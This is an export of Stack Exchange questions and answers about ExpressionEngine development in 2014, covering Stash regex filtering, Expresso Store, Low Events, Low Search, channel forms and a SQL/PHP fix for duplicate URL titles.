  <row Id="26531" PostTypeId="1" CreationDate="2014-10-31T13:10:37.527" Score="0" ViewCount="109" Body="&lt;p&gt;I'm using Stash to set and retrieve a list based on channel entries.&#xA;I want to filter the list by a 'column' of data defined by a pipe-delimited set of values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble though getting the regex to work.&#xA;So, for example I have the following data in my list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4|4|4|4|2|2&#xA;2|2|2|2&#xA;9|9|9|2|2&#xA;2|2|2&#xA;9|9|9|2&#xA;2|6|3|4|5|9|6|7|2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the following regex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;paper&quot; parse=&quot;inward&quot; match=&quot;#^((.*2).*)$#&quot; against=&quot;parents&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But only two of the above are being returned in the list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4|4|4|4|2|2&#xA;2|6|3|4|5|9|6|7|2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I test this pattern on &lt;a href=&quot;http://regexpal.com/&quot; rel=&quot;nofollow&quot;&gt;Regex Tester&lt;/a&gt; it returns all results as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why this might be happening or how better to achieve this (so returns all data with 2)? I've tried simpler regex patterns  (eg &lt;code&gt;#2#&lt;/code&gt; or &lt;code&gt;#2+#&lt;/code&gt;) with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-10-31T13:44:32.163" Title="Stash regex query" Tags="|stash|regex|regular-expressions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26532" PostTypeId="2" ParentId="26531" CreationDate="2014-10-31T13:44:32.163" Score="1" Body="&lt;p&gt;Surrounding each of the values with a separator, including the start and end of the index makes matching simple and ensures you match a '2' and not '22' or '212' (for example). I tend to use &lt;code&gt;@&lt;/code&gt; or &lt;code&gt;/&lt;/code&gt; rather than &lt;code&gt;|&lt;/code&gt; so that I don't need to escape the pipe in the regex.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@4@4@4@4@2@2@&#xA;@9@9@9@2@2@&#xA;etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can easily match a specific number with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;paper&quot; match=&quot;#@2@#&quot; against=&quot;parents&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or either of two numbers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;paper&quot; match=&quot;#@2@|@4@#&quot; against=&quot;parents&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or require two numbers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;paper&quot; match=&quot;#^(?=.*@2@)(?=.*@4@)#&quot; against=&quot;parents&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More on filtering with a custom index column here:&#xA;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Filtering%20lists%20with%20match%20against&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Filtering%20lists%20with%20match%20against&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-10-31T13:44:32.163" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26534" PostTypeId="1" CreationDate="2014-10-31T16:58:59.803" Score="1" ViewCount="26" Body="&lt;p&gt;I cannot get the start and end dates of my discount to save. I enter them, hit save, and then when it returns me to the list of discounts, the dates are no longer there. The code does not work on the site without the dates entered. I have other discounts that are active and their dates have saved without a problem. Any idea what it could be?&lt;/p&gt;&#xA;" OwnerUserId="3749" LastActivityDate="2014-10-31T16:58:59.803" Title="Expresso Store Discount Dates" Tags="|expresso-store|checkout|discounts|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26535" PostTypeId="2" ParentId="26523" CreationDate="2014-10-31T18:58:40.920" Score="1" Body="&lt;p&gt;It turns out that the server image generation modules were uninstalled during a routine patch upgrade. The servers are managed on Rackspace. It took hours on the phone with RS to figure it out.&lt;/p&gt;&#xA;" OwnerUserId="3562" LastActivityDate="2014-10-31T18:58:40.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26536" PostTypeId="1" CreationDate="2014-10-31T21:57:20.687" Score="0" ViewCount="89" Body="&lt;p&gt;I have a channel form with and i need ti to have a different return url based on how they answer one of the questions in the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they select yes it should redirect to URLA&#xA;if they select no it should redirect to URLB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried swaping out the hidden &quot;return_url&quot; input but that doesnt seem to do it, any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="727" LastActivityDate="2014-10-31T21:57:20.687" Title="Conditional return url in channel form" Tags="|safecracker|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26537" PostTypeId="1" CreationDate="2014-10-31T23:47:28.760" Score="0" ViewCount="184" Body="&lt;p&gt;I have a state-level site with members who are imported from a CSV file. Their passwords cannot be changed or edited on the front-end as said passwords are assigned by the national-level and passed down to the state-level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I need a forgot password email that just sends their existing password (stored as a custom member field) to their email address. I've scoured devot-ee and this site, but cannot find a solution. I'm using Solspace User module to generate my password reset email, which ideally looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hi {name},&#xA;&#xA;Your login information for the {site_name} website is:&#xA;&#xA;Email: {email}&#xA;Password: {password}&#xA;&#xA;Thank You&#xA;&#xA;{site_name}&#xA;{site_url}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone got any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3750" LastActivityDate="2014-11-02T14:21:35.883" Title="EE Password Retrieval Email?" Tags="|forgot-password|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26538" PostTypeId="1" AcceptedAnswerId="26540" CreationDate="2014-11-01T19:29:08.587" Score="1" ViewCount="156" Body="&lt;p&gt;How do I set repeating events. If I have a dance show and it plays for three consecutive nights, how do I display that. If I put end date in (:duration), its says 3 days and 1 hour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I what it to wright it 3 times within one channel entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Event Title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;November 4, 2014, 8pm&lt;br&gt;&#xA; November 5, 2014, 8pm&lt;br&gt;&#xA; November 6, 2014, 8pm&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Event Description &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I am stuck .... I got everything else figured out, first time user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best, &#xA;Seeingis&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2014-11-02T10:00:05.020" Title="Low Events …. How do I set repeating events" Tags="|low-events|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26539" PostTypeId="2" ParentId="26538" CreationDate="2014-11-01T23:27:35.107" Score="0" Body="&lt;p&gt;Low Events doesn't support recurrence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://gotolow.com/addons/low-events&quot; rel=&quot;nofollow&quot;&gt;its own website&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Low Events [...] keeps things simple by not having repeatable events and their obtuse rules...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-11-01T23:27:35.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26540" PostTypeId="2" ParentId="26538" CreationDate="2014-11-02T10:00:05.020" Score="3" Body="&lt;p&gt;Robson is right: Low Events doesn't support recurring events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Events uses this definition to determine what an 'event' is: &lt;strong&gt;an event is a single entry with a single start date/time and optional end date/time&lt;/strong&gt;. According to that definition, you're actually looking at 3 events (with the same title).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 ways to get what you're describing. The simplest solution is to just mention the three different dates in the description field of a single entry. The single entry can then span 3 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other solution is to use Relationships. Create 2 channels: Events and Occurrences. The Events channel contains event descriptions, without dates. The Occurrences channel contains the Low Events field and a relationships field where you can choose an Event. In your templates, you then list the Occurrences and display the event title and description using the relationship tags and vars.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-11-02T10:00:05.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26541" PostTypeId="2" ParentId="26537" CreationDate="2014-11-02T14:21:35.883" Score="2" Body="&lt;p&gt;Passwords in EE and also used by the Solspace User module (and Freemember - the free alternative to User) are all one-way encrypted. So when a user logs in, in encrypts their password and matches it to the encrypted version held in the database. This means the password is never and can never be decrypted - this provides the best security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the email template you're referring to in the User module isn't a password reminder, but a password reset (even though the documentation refers to it as reminder) - the documentation can be found &lt;a href=&quot;http://www.solspace.com/docs/user/forgot_password/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as you mention, you're using a custom member field to store the unencrypted raw password - this is a &lt;strong&gt;very bad idea&lt;/strong&gt; and has high security issues.  Is this manually set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is one of two things...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I'd expect it's because you're using the field name &quot;password&quot; for the password, which will conflict with the real member field for password and problem Solspace User won't like it much.  Try renaming to &quot;raw_password&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Possibly the email reminder/reset email doesn't allow for you to output custom member fields? Try testing it with other member fields (create one as a test).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-11-02T14:21:35.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26542" PostTypeId="1" CreationDate="2014-11-02T21:36:53.703" Score="1" ViewCount="78" Body="&lt;p&gt;We need to update a set of url-titles that have some duplicate entries (migrated from a non-EE site). Because of the size of the database I would prefer to use direct mysql method, but I am open to any solutions out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we have records:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a-stoney&#xA;a-stoney&#xA;ab-dille&#xA;ab-dille&#xA;ab-dille&#xA;ac-gifta&#xA;ae-jones&#xA;ae-jones&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to be able to run against the exp_channel_titles table and end up with ONLY the duplicate entries updated as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a-stoney&#xA;a-stoney-1&#xA;ab-dille&#xA;ab-dille-1&#xA;ab-dille-2&#xA;ac-gifta&#xA;ae-jones&#xA;ae-jones-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or some similar output, where non-duplicate url-titles are not edited, and any duplicates are applied a convention similar to the native EE behavior when attempting to create a new entry (with a title that already exists in the system)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the SELECT I am using to display the duplicate entries, just having trouble applying the count and converting to an UPDATE&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="322" LastActivityDate="2015-03-03T20:25:16.513" Title="mySQL script to update non-unique URL titles" Tags="|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26544" PostTypeId="1" AcceptedAnswerId="26596" CreationDate="2014-11-02T23:39:56.803" Score="0" ViewCount="474" Body="&lt;p&gt;Does anyone know a way to exclude some results on the result page of LOW SEARCH?&#xA;I have been looking everywhere but I cannot find the answer.&#xA;I understand I must add a SEARCH form on the resultpage, but do not know what next to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client wants to 'hold' certain results AFTER they made a search and  then save the results for later use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So filter in results, so to speak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for a hint.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-11-05T19:02:10.370" Title="Exclude certain items on result page in LOW SEARCH" Tags="|low-search|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26545" PostTypeId="2" ParentId="22442" CreationDate="2014-11-03T02:01:08.280" Score="0" Body="&lt;p&gt;A 3rd Party addon like SpolSpace's SuperSearch allows you to weight the value of fields in search results. You can even use relevance multipliers for certain situations. You can craft your own method of displaying the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;relevance=&quot;first_discipline=50+second_discipline=25+third_discipline=10&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your first dicipline will be weighted first/heavier, but all 3 fields will be searched and results displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/super_search/relevance_ordering/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search/relevance_ordering/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-11-03T02:01:08.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26547" PostTypeId="2" ParentId="26544" CreationDate="2014-11-03T09:01:10.157" Score="1" Body="&lt;p&gt;To answer the first question in your post, about excluding entries from search results, I can say this: do it like you would with a regular channel:entries tag, so using a parameter like &lt;code&gt;entry_id=&quot;not 1|2|3&quot;&lt;/code&gt;, where 1, 2 and 3 are the entry IDs you want to exclude. You can do that using status, categories, or any parameter, as per the native EE parameters themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make this dynamic, then you need to feed those entries to the entry_id parameter in your form somehow, so you end up with a (hidden) input field that looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;not 1|2|3&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-11-03T09:01:10.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26548" PostTypeId="1" CreationDate="2014-11-03T09:06:13.777" Score="1" ViewCount="98" Body="&lt;p&gt;i was wondering if it was possible to output the same entry multiple times using the entry_id parameters on the channel:entries loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;14|14|14&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need this function to work with Shortlist module from Squarebits to manage a simple cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone had the same problem before?&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2015-01-26T15:18:01.840" Title="Output same entry multiple times in a channel loop" Tags="|loop|shortlist|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26549" PostTypeId="1" CreationDate="2014-11-03T11:23:53.513" Score="1" ViewCount="87" Body="&lt;p&gt;I have a MSM installation.&#xA;The hosting provider (shared hosting) don't want to desactivate open_basedir (security risks) so I have to enter a custom open_basedir path to circumvent restrictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't know what to put as open_basedir path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hierarchy of my MSM websites :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;└── domain1&#xA;    ├── admin.php&#xA;    ├── index.php&#xA;    ├── images&#xA;    ├── system&#xA;    └── themes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;└── domain2&#xA;    ├── admin.php&#xA;    └── index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My server path is like this (don't worry, not the real one) :&#xA;/home/www/hosting/domain1.com/web/domain1site/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and for the other site :&#xA;/home/www/hosting/domain1.com/web/domain2site/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know ? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2014-11-03T11:23:53.513" Title="MSM open_basedir path" Tags="|multi-site-manager|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26550" PostTypeId="1" CreationDate="2014-11-03T12:03:25.860" Score="0" ViewCount="39" Body="&lt;p&gt;What is best way to relate EE Entries with location (Region/City/Place) example&#xA;1. Entry of Simba National Park, &#xA;2. Then i choose park category (Game Park, Beach Park, Cultural Park, Mountain Park) &#xA;3. Now i Need to have location, or choose where its located, (Region/City/Place), sort of chain select on entry form?&#xA;4. I will later filter these parks by location, or search location to display parks etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="3753" LastActivityDate="2015-01-20T23:54:08.223" Title="Relate EE Entries with Location (Region/City/Place)" Tags="|channel|structure|database|entry|channel-entries-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26551" PostTypeId="1" CreationDate="2014-11-03T12:23:59.953" Score="1" ViewCount="24" Body="&lt;p&gt;I have some javascript in a template that has some values set via the output of a query tag, I've stripped the template right back to contain just the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;&#xA;$(function() {&#xA;    $( &quot;#weight-slider-range&quot; ).slider({&#xA;        range: true,&#xA;        {exp:query sql=&quot;SELECT field_id_88 FROM exp_channel_data&#xA;                            INNER JOIN exp_store_stock using(entry_id) &#xA;                                GROUP BY field_id_88 ORDER BY field_id_88 ASC&quot;}&#xA;        {if count == 1} min: {count}, &#xA;        {if:elseif count == total_results} max: {count}, &#xA;        {/if}&#xA;        {/exp:query}&#xA;    });&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the 'if' conditional is being written to the html page, why isn't it being evaluated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what's being written to the browser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;&#xA;$(function() {&#xA;    $( &quot;#weight-slider-range&quot; ).slider({&#xA;        range: true,&#xA;&#xA;        {if &quot;1&quot; == 1} min: 1, &#xA;        {if:elseif &quot;1&quot; == &quot;241&quot;} max: 1, &#xA;        {/if}&#xA;&#xA;    });&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that EE is not parsing the 'if' statement as it believes it's a js command maybe?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2014-11-03T14:50:40.370" LastActivityDate="2014-11-03T14:50:40.370" Title="EE If conditional inside a exp:query tag within &lt;script&gt; tags not being parsed" Tags="|query|" AnswerCount="0" CommentCount="5" ClosedDate="2014-11-03T19:05:52.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="26552" PostTypeId="1" CreationDate="2014-11-03T14:30:45.383" Score="0" ViewCount="320" Body="&lt;p&gt;Today a site I administer started getting a 404 error when trying to access the CP at www.thedomain.com/admin.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was working fine and as far as I know there have been no changes to the system by the client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user reported getting the error 'disallowed key characters' - though I have not seen this, for me it just redirects to the site 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that is different is that they sent an mail out earlier today (batched in 100s - approx 2000) that might result in high bandwidth/traffic in response, I am not sure if that would impact it though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help shed some light?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-11-04T12:14:17.930" Title="Cannot get to CP - 404 Error" Tags="|control-panel|404|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26554" PostTypeId="2" ParentId="26542" CreationDate="2014-11-03T16:25:48.373" Score="2" Body="&lt;p&gt;How big is the database? Something like the below (untested) should do it with PHP&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;SELECT * FROM exp_channel_titles&quot;;&#xA;$results = //execute query&#xA;&#xA;$urls = array();&#xA;foreach($results as $result)&#xA;{&#xA;    $count = 1;&#xA;    $url = $result['url_title'];&#xA;    $entry_id = $result['entry_id'];&#xA;&#xA;    while(isInArray($url, $urls))&#xA;    {&#xA;        $url = $result['url_title'] . '-' . $count;&#xA;        $count++;&#xA;    }&#xA;    $urls[] = $url;&#xA;    $sql = &quot;UPDATE exp_channel_titles SET url_title = '$url' WHERE entry_id = $entry_id&quot;;&#xA;    //execute query;&#xA;}&#xA;&#xA;function isInArray($string, $array)&#xA;{&#xA;    return in_array($string, $array);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-11-03T16:25:48.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26557" PostTypeId="1" CreationDate="2014-11-03T18:00:01.550" Score="0" ViewCount="122" Body="&lt;p&gt;I’m running into an issue with Store 1.6.5 (ugh, I know!) on EE 2.7.2 (ugh, again!) and Stripe. For the most part, things are working. However, we’re getting some feedback from some customers that in some cases clicking the Place Order button is simply refreshing the page with blank form fields. In some cases we’re seeing errors in Stripe log files that no card details are being sent. In other cases we’re seeing that tokens are created, but not used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve followed the advice offered at the end of this thread:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18237/expresso-store-with-stripe-final-checkout-page-reloads-instead-of-submitting/18241#18241&quot;&gt;Expresso Store with Stripe final checkout page reloads instead of submitting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It disables the check for multiple payment methods as Stripe is the only payment method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve also switched from using htts://js.stripe.com/v1 to htts://js.stripe.com/v2 thinking that may be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I am unable to reproduce the issue so it’s hard to troubleshoot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience with a similar issue that can offer some additional things to check? I'd be happy to post some code if necessary, or share access offline and report findings back here to keep the community informed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greg&lt;/p&gt;&#xA;" OwnerUserId="2361" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2016-06-07T08:59:33.067" Title="Expresso Store with Stripe Blank Checkout after Submit Order" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26558" PostTypeId="1" CreationDate="2014-11-03T21:02:46.540" Score="0" ViewCount="121" Body="&lt;p&gt;Have an issue where in channel form editing an entry the radios and checkboxes don't retain their value from the entry being edited. An example of the radios is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:myfield} &#xA;&amp;lt;input id=&quot;myfield&quot; type=&quot;radio&quot; name=&quot;myfield&quot; value=&quot;{myfield}&quot;{checked}&amp;gt;  &#xA;&amp;lt;label&amp;gt;{option_value}&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/options:myfield}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it fails with checkboxes in the same way. I've seen a few threads on similar issues here but there doesn't seem to be any solutions... has anyone got a fix for this? Cheers&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2016-06-15T15:06:40.217" Title="Channel Form: Edit issue with checkboxes not being set" Tags="|safecracker|checkbox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26559" PostTypeId="2" ParentId="26397" CreationDate="2014-11-03T21:07:55.063" Score="3" Body="&lt;p&gt;Sorry for the trouble. This is an issue in EE 2.9 and will be fixed in the next release. For now, you can get around it by specifying the cache driver in your config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cache_driver'] = 'memcached';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="74" LastActivityDate="2014-11-03T21:07:55.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26560" PostTypeId="1" CreationDate="2014-11-04T00:59:16.110" Score="0" ViewCount="109" Body="&lt;p&gt;I need display entries of a channel, is easy when you have the same structure of your DOM elements like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;   channel=&quot;{channel}&quot;&#xA;   limit=&quot;6&quot;&#xA;}&#xA;&#xA;   &amp;lt;div class=&quot;{switch='row1|row2'}&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;john guitar&quot;&amp;gt;&#xA;         JOHN&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;jagger drums&quot;&amp;gt;&#xA;         JAGGER&#xA;      &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that is simple with &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#switch&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#switch&lt;/a&gt;, render the same structure 6 times jump between row1 and row2 BUT!!! my structure have 6 different block of code AND!!! in each block add new clases AND!! some pieces of code are in the top and later at the bottom, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row1&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;john guitar&quot;&amp;gt;&#xA;      JOHN&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;jagger drums&quot;&amp;gt;&#xA;      JAGGER&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;row2&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;jagger voice&quot;&amp;gt;&#xA;      JAGGER&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;john bass&quot;&amp;gt;&#xA;      JOHN&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you see, John is in the top, but in the second block is in the bottom and also add a new class to the div, later Jagger is in the bottom but in the second is in the top... and so on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please see the the real code!!! html that I need looping through, is very clear what I need: &lt;a href=&quot;http://cl.ly/code/3t3O0P3k3j0H&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/code/3t3O0P3k3j0H&lt;/a&gt;&#xA;(6 different blocks with new classes in)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont get it how can looping if the positions are different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help? thank you!!&lt;/p&gt;&#xA;" OwnerUserId="1791" LastEditorUserId="1791" LastEditDate="2014-11-04T01:06:27.207" LastActivityDate="2016-05-25T20:15:58.863" Title="Channel entries Swith (looping) different DOM div blocks order?" Tags="|entries|loop|switch|custom-order-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
